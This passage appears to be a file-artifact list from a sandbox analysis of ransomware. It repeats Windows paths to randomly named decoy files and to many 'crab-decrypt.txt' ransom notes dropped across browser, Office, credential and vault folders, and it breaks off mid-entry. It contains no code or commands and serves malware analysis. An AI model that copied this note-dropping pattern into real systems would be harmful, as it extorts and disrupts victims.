documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ieyof2itfx5.flv
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ieyof2itfx5.flv
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ieyof2itfx5.flv
flv
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\kaweoer.m4a
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\kaweoer.m4a
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\kaweoer.m4a
m4a
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\l5stdgugeyhdz.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\l5stdgugeyhdz.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\l5stdgugeyhdz.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ougx-5zbszw.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ougx-5zbszw.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ougx-5zbszw.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\qzg7oh35.avi
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\qzg7oh35.avi
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\qzg7oh35.avi
avi
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\rw3b6ol.png
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\rw3b6ol.png
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\rw3b6ol.png
png
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\sdac6uamd-p1jk.mp3
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\sdac6uamd-p1jk.mp3
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\sdac6uamd-p1jk.mp3
mp3
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\vo1f0vbn.mp4
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\vo1f0vbn.mp4
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\vo1f0vbn.mp4
mp4
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\wjwfrmk.swf
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\wjwfrmk.swf
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\wjwfrmk.swf
swf
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\xl3uq.mp4
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\xl3uq.mp4
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\xl3uq.mp4
mp4
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\yo5cdbmrfgogb.bmp
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\yo5cdbmrfgogb.bmp
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\yo5cdbmrfgogb.bmp
bmp
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ysgevn.xls
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ysgevn.xls
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ysgevn.xls
xls
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\z28ae.mp4
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\z28ae.mp4
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\z28ae.mp4
mp4
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\_e9_on r.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\_e9_on r.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\_e9_on r.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\temp\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\temp\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\temp\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\temp\calendarcache.dat
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\temp\calendarcache.dat
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\temp\calendarcache.dat
dat
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\aggregatecache.uca
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\aggregatecache.uca
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\aggregatecache.uca
uca
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\uss.chk
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\uss.chk
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\uss.chk
chk
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\ussres00001.jrs
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\ussres00001.jrs
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\ussres00001.jrs
jrs
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\ussres00002.jrs
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\ussres00002.jrs
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\ussres00002.jrs
jrs
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\usstmp.log
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\usstmp.log
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistoredb\usstmp.log
log
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\crashreports\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\crashreports\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\crashreports\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\history.ie5\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\history.ie5\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\history.ie5\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\low\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\low\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\low\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v2.0\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v2.0\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v2.0\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\ngen.log
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\ngen.log
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\ngen.log
log
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\usagelogs\mmc.exe.log
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\usagelogs\mmc.exe.log
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\usagelogs\mmc.exe.log
log
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\ngen.log
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\ngen.log
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\ngen.log
log
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\credentials\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\credentials\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\credentials\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\event viewer\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\event viewer\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\event viewer\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds\feedsstore.feedsdb-ms
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds\feedsstore.feedsdb-ms
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds\feedsstore.feedsdb-ms
feedsdb-ms
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\forms\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\forms\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\forms\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\forms\frmdata64.dat
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\forms\frmdata64.dat
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\forms\frmdata64.dat
dat
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\gamedvr\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\gamedvr\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\gamedvr\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\installagent\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\installagent\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\installagent\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\internet explorer\brndlog.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\internet explorer\brndlog.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\internet explorer\brndlog.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\media player\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\media player\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\media player\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\16.0\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\16.0\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\16.0\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\otele\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\otele\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\office\otele\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\onedrive\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\onedrive\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\onedrive\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\outlook\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\outlook\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\outlook\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\playready\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\playready\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\playready\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\publisher\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\publisher\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\publisher\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\vault\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\vault\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\vault\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows live\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows live\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows live\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
ini
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft help\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft help\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft help\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoftedge\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoftedge\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoftedge\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoftedge\user\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoftedge\user\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoftedge\user\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft_corporation\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft_corporation\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft_corporation\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\mozilla\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\mozilla\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\mozilla\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\mozilla\firefox\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\mozilla\firefox\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\mozilla\firefox\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\packages\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\packages\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\packages\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\peerdistrepub\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\peerdistrepub\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\peerdistrepub\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\publishers\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\publishers\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\publishers\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-e jjuv2tekl.pdf
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-e jjuv2tekl.pdf
c:\
